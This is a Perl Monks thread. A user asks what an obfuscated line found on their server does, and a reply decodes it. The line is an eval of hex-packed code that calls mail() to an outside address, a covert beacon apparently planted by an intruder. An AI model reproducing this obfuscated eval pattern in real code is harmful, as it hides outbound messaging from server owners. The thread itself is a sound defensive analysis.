boacane has asked for the wisdom of the Perl Monks concerning the following question:

I have just found a file on my server and this contain something like a code, and I don't get the encoding method. I will really appreciate if someone can decode this for me:

< Here the unidentified line begin>

eval(pack("H*", "6d61696c28226e756d6970617361646562616e696e69636964656 +475736d616e69407961686f6f2e636f6d222c20247375626a6563742c20246d657373 +616765293b"));

<Here is the end>

Any help will be appreciated. Thanks

Edit: g0n - code tags and formatting

Replies are listed 'Best First'.
Re: Help with pack
by rhesa (Vicar) on Apr 13, 2007 at 11:07 UTC
    print pack("H*", "6d61696c28226e756d697061736164" . "6562616e696e69636964656475736d" . "616e69407961686f6f2e636f6d222c" . "20247375626a6563742c20246d6573" . "73616765293b")
    outputs:
    mail("some.email@some.where", $subject, $message);
    (run it yourself to see the actual email address).

    The eval() then executes that code. So this little snippet attempts to send an email.

    PS. I don't think that code will actually work, since the email address is in double quotes. That would cause the @some to be interpreted as an array, and will likely end up as an empty string. So the code would attempt to mail to some.email.where.